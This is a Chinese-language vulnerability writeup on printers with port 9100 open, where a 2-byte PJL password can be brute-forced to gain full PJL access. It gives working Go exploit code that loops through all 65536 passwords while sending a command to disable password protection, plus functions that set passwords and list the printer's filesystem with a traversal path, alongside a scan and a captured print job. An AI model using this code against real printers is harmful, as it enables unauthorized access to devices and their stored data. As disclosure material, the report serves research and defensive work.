1.漏洞名称
打印机9100 端口开启且 PJL 保护机制密钥易被暴力破解时,攻击者可发送 PJL 指令获取完全访问权限,进而执行任意命令。
2.漏洞描述
打印机 PJL 任意命令执行漏洞中,打印机 9100 端口开启,攻击者可向其发送 PJL 指令请求设备名称。因 PJL 保护机制密钥仅由 2 字节存储,能被暴力破解,攻击者借此可获取完全访问权限,进而肆意执行任意命令 。
3. 漏洞分析
$ nmap -Pn 192.168.1.1
Starting Nmap 7.94 ( https://nmap.org ) at 2025-05-22 14:30 CST
Nmap scan results for printer-ip (192.168.1.100)
Host is up (0.042s latency).
PORT STATE SERVICE
9100/tcp open lpd
| lpd-version:
| SERVER: HP LaserJet Pro MFP M428fdw
|_ VERSION: HP PJL 5.0 (PostScript Level 3)
MAC Address: XX:XX:XX:XX:XX:XX (HP Inc.)
在默认 Windows 系统中,可通过添加打印机功能输入 IP 地址连接网络打印机,并打印测试页。此时使用 Wireshark 抓取网络接口数据,可分析终端与打印机之间交互的通信报文,如协议类型、数据传输内容等细节。
报文数据内容如下:
.print
..88 cfA018DESKTOP-10E6T52
.HDESKTOP-10E6T52
Ptest
Jnew 2
ldfA018DESKTOP-10E6T52
UdfA018DESKTOP-10E6T52
Nnew 2
...125899906843000 dfA018DESKTOP-10E6T52
..%-12345X@PJL COMMENT HanGuang BMF 6000 Series PCL6 1.23.1.7
@PJL JOB DISPLAY="new 2"
@PJL JOB NAME="new 2"
@PJL SET JOBATTR="DocumentName=new 2"
@PJL SET JOBATTR="ComputerName=DESKTOP-10E6T52"
@PJL SET JOBATTR="UserName=xxxx"
@PJL SET JOBATTR="ReceptionTime=16:29:28 2021/10/27"
@PJL SET PAPER=A4
@PJL SET ROTATESORT=OFF
@PJL SET ORIENTATION=PORTRAIT
@PJL SET RESOLUTION=600
@PJL SET MEDIATYPE=AUTOSELECT
@PJL SET STAPLE=OFF
@PJL SET DUPLEX=OFF
@PJL SET HOLD=NORMAL
@PJL SET ECONOMODE=OFF
@PJL SET AUTHENTICATIONUSERID=""
@PJL SET AUTHENTICATIONPASSWORD=""
@PJL SET AUTHENTICATIONGROUPID=""
@PJL SET AUTHENTICATIONGROUPPW=""
@PJL SET BRIGHTNESS="A:0"
@PJL SET CONTRAST="A:1"
@PJL SET TONERDARKNESS=5
@PJL SET QTY=1
@PJL ENTER LANGUAGE=POSTSCRIPT
) HP-PCL XL;3;0;Comment Copyright(c) 1999-2003 Microsoft Corporation
.X.X...........A........H...&...(...4...Standard.'...%C.`.`..*u....?...?.+w....j...,{...-x...-|...,{...,{.....y... c..;.s......B..... c........MS PCLXLFont 001..O.....P...........
...P.
BR.....X.X.....P........Q....MS PCLXLFont 001......B.......o....?...?..e....MS PCLXLFont 001..R..........S..... .4. .4............................p.............................................................................................................................................................................................S.............T.;....Lk..................222.......s..Lk...,{... c....s......B.....s..Lk....s......B.....s..Lk....s.,....B.....,{.... c....MS PCLXLFont 001..R..........S.......0.%.0.................p.8..p.8..p.8..p.8..p.8..p.8..p.8..p.8..p.8..p.8..p.8..p.8..p.8..p.8..p....p....p....p....p....p....p....p....p....p....p....p....p....p....p....p....p....p....p....p....p....p....p....p....p....p....p....p...........................S.......0.'.0...................8....8....8....8....8....8....8....8....8....8.........................................................................................................................................................................................S..........1.#.2......?...........................................8....8....8....8....8....8....<.........................................................?.........................................................................................>.....................T......Lk..................222........1D....MS PCLXLFont 001..UIB.%-12345X@PJL EOJ
.%-12345X.
通过分析抓取的通信数据报文可知,打印机接收的打印指令遵循 PJL(Printer Job Language)语法格式,该协议用于在终端与打印机间传输作业控制指令及状态查询等信息。
之前无意开启安全保护模式,导致无法执行PJL命令,经过查阅资料得知,打印机发送PJL指令之前需要对使用者的身份进行认证。后面发现该认证机制存在被爆破风险,由于认证程序的密钥长度为2字节长度,则可通过爆破方式绕过认证,最终任意执行PJL命令。
爆破+禁用密码保护
func (c *Cli) CrackPass() {
for i := 0; i < 65536; i++ {
PjlPass := fmt.Sprintf("JOB PASSWORD=%d\r\n", i)
CrackPassInfo := START + PjlPass + END
log.Println(CrackPassInfo)
data := []byte(CrackPassInfo)
c.conn.Write(data)
//禁用密码保护
PjlDefaultPass := "DEFAULT PASSWORD=0\r\n"
DefaultPassInfo := START + PjlDefaultPass + END
log.Println(DefaultPassInfo)
data = []byte(DefaultPassInfo)
c.conn.Write(data)
}
}
如何设置密码?
func (c *Cli) SetPassWord() {
log.Println("Start to Set Password!")
InfoId := "@PJL DEFAULT PASSWORD=61220\r\n"
DeviceId := START + InfoId + END
data := []byte(DeviceId)
c.conn.Write(data)
rsp, err := ioutil.ReadAll(c.conn)
if err != nil {
fmt.Println(err.Error())
return
}
fmt.Println(string(rsp))
}
4. 漏洞复现
const START = "\033%-12345X@PJL "
const END = "\033%-12345X\r\n"
func (c *Cli) ListDirectory(path string) {
// ../../bin
log.Println("Start to Query Printer Directory!")
InfoId := fmt.Sprintf("@PJL FSDIRLIST NAME=\"%s\" ENTRY=1 COUNT=1024\r\n", path)
DeviceId := START + InfoId + END
data := []byte(DeviceId)
c.conn.Write(data)
rsp, err := ioutil.ReadAll(c.conn)
if err != nil {
log.Println("Error:", err.Error())
return
}
log.Println("Printer Response: " + string(rsp))
}
- 打印机字符串
- 获取设备ID
- 获取设备根文件系统目录
5.漏洞修复
新版本已修复该漏洞
自评TCV:2